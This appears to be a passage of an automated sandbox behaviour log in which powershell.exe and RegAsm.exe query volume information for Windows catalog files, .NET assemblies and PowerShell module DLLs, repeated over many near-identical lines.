Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
